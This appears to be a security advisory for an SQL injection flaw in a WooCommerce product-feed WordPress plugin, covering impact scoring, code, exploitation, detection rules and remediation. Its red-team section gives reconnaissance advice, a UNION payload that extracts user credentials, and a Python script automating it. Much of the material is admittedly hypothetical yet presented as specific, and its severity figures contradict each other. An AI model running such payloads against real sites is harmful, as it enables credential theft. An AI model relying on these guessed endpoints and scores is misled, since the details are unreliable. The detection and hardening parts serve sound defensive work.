CVE-2025-47643

Executive Summary

CVE-2025-47643 is a critical SQL Injection vulnerability discovered in the ELEX Product Feed for WooCommerce WordPress plugin, affecting all versions up to and including 3.1.2. This vulnerability allows unauthenticated attackers to inject arbitrary SQL commands into the database, potentially leading to complete data exfiltration, modification, or deletion. The vulnerability resides in the improper neutralization of special elements used in SQL commands, specifically within the plugin's feed generation functionality. Given the widespread use of WooCommerce and the plugin's role in managing product feeds, this vulnerability poses a significant risk to e-commerce sites. No public proof-of-concept (PoC) or exploit code has been released at this time, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is elevated because:

• Widespread Adoption: The plugin is used by thousands of WooCommerce stores for product feed management.
• Delayed Patching: As of this report, no official patch has been released, leaving all installations vulnerable.
• Automatic Updates: If automatic updates are enabled, the plugin may be updated to a patched version once available, but manual intervention is recommended.

CVSS Breakdown & Threat Level

CVSS Score: 7.6 (High)

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None - The attacker does not need to trick a user into performing any action.
• Scope (S): Unchanged - The impact is confined to the vulnerable component.
• Confidentiality (C): High - An attacker can read all database contents, including user credentials and order data.
• Integrity (I): High - An attacker can modify or delete database records.
• Availability (A): High - An attacker can disrupt database operations, leading to denial of service.

Threat Level: Critical - The combination of network exploitability, no authentication requirement, and high impact makes this a critical threat for any WooCommerce site using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the elex-product-feed plugin's handling of user-supplied input when generating product feeds. The plugin likely uses a SQL query to fetch product data based on parameters such as category, product type, or custom filters. The id parameter or similar input fields are not properly sanitized before being incorporated into the SQL query.

Vulnerable Code Pattern (Hypothetical):

$category_id = $_GET['category_id'];
$query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND category_id = $category_id";
$results = $wpdb->get_results($query);

In this pattern, the $category_id variable is directly concatenated into the SQL query without any escaping or parameterization. An attacker can inject SQL commands by providing a malicious value like:

1 UNION SELECT user_login, user_pass FROM wp_users

This would append the attacker's SQL to the original query, potentially extracting user credentials.

Root Cause: The plugin fails to use prepared statements or properly escape user input before using it in SQL queries. The WordPress $wpdb->prepare() method is not used, or custom sanitization functions are insufficient.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

// Vulnerable: Direct concatenation of user input
$category_id = $_GET['category_id'];
$query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND category_id = $category_id";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

// Patched: Using prepared statements
$category_id = $_GET['category_id'];
$query = $wpdb->prepare("SELECT * FROM wp_posts WHERE post_type = 'product' AND category_id = %d", $category_id);
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() with a placeholder (%d for integer), which ensures the input is treated as data, not executable SQL. This prevents any injection attempts.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Install WordPress with WooCommerce and ELEX Product Feed for WooCommerce version 3.1.2.
2. Create a few test products and categories.
3. Identify the vulnerable endpoint (likely /wp-admin/admin-ajax.php or a custom feed URL).

Exploitation Steps:

1. Reconnaissance: Use Shodan or Google dorks to find vulnerable sites.
2. Craft Payload: Since no public PoC exists, craft a SQL injection payload. Example:

   http://target.com/wp-admin/admin-ajax.php?action=elex_generate_feed&category_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--
   

3. Extract Data: Use UNION-based injection to extract user credentials, order data, or other sensitive information.
4. Escalate: If successful, crack password hashes or use extracted session tokens to gain admin access.

Automation Script (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = "1 UNION SELECT user_login,user_pass,user_email FROM wp_users--"
params = {
    "action": "elex_generate_feed",
    "category_id": payload
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Logs: Look for unusual SQL errors in WordPress debug logs or web server error logs.
2. Analyze Requests: Check for suspicious parameters containing SQL keywords like UNION, SELECT, FROM, --, etc.
3. Use WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection attempts.
4. Harden Database: Ensure the database user has minimal privileges (e.g., no FILE or CREATE privileges).

Honeypot Setup:

• Create a fake endpoint that mimics the vulnerable feed generator and log all requests for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=elex_generate_feed and suspicious category_id parameters.
• Requests containing SQL keywords in the query string (e.g., UNION, SELECT, FROM, --).
• Unusual response sizes or database error messages in HTTP responses.

File System IOCs:

• Modified WordPress database tables (e.g., wp_users, wp_options).
• Presence of webshells or backdoor files in the WordPress uploads directory.
• Unusual entries in wp-config.php or .htaccess files.

Log IOCs:

• SQL errors in WordPress debug log (wp-content/debug.log).
• Web server access logs showing repeated requests to the vulnerable endpoint with varying payloads.

Detection Engineering

YARA Rule

rule CVE_2025_47643_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting ELEX Product Feed for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47643"
    strings:
        $s1 = "elex_generate_feed" ascii wide nocase
        $s2 = "category_id" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SELECT" ascii wide nocase
        $s5 = "FROM" ascii wide nocase
        $s6 = "--" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against ELEX Product Feed for WooCommerce
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the ELEX Product Feed for WooCommerce plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "action=elex_generate_feed"
            - "category_id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
            - "FROM"
    condition: selection
falsepositives:
    - Legitimate use of UNION in product feed generation (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47643 SQL Injection Attempt"; flow:to_server,established; content:"action=elex_generate_feed"; http_uri; content:"category_id="; http_uri; pcre:"/(UNION|SELECT|FROM|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If possible, deactivate and uninstall the ELEX Product Feed for WooCommerce plugin until a patch is released.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block SQL injection attempts targeting the vulnerable endpoint.
3. Database Hardening: Ensure the WordPress database user has minimal privileges (e.g., only SELECT, INSERT, UPDATE, DELETE on specific tables).

Long-Term Fix:

1. Apply Patch: Monitor the plugin's official page for a security update. Once released, update immediately.
2. Code Review: If you have access to the source code, implement prepared statements using $wpdb->prepare() for all database queries.
3. Input Validation: Implement strict input validation and sanitization for all user-supplied parameters.

Workaround:

• If the plugin cannot be disabled, restrict access to the vulnerable endpoint using .htaccess rules:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  (Note: This will break legitimate AJAX functionality; use with caution.)

Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.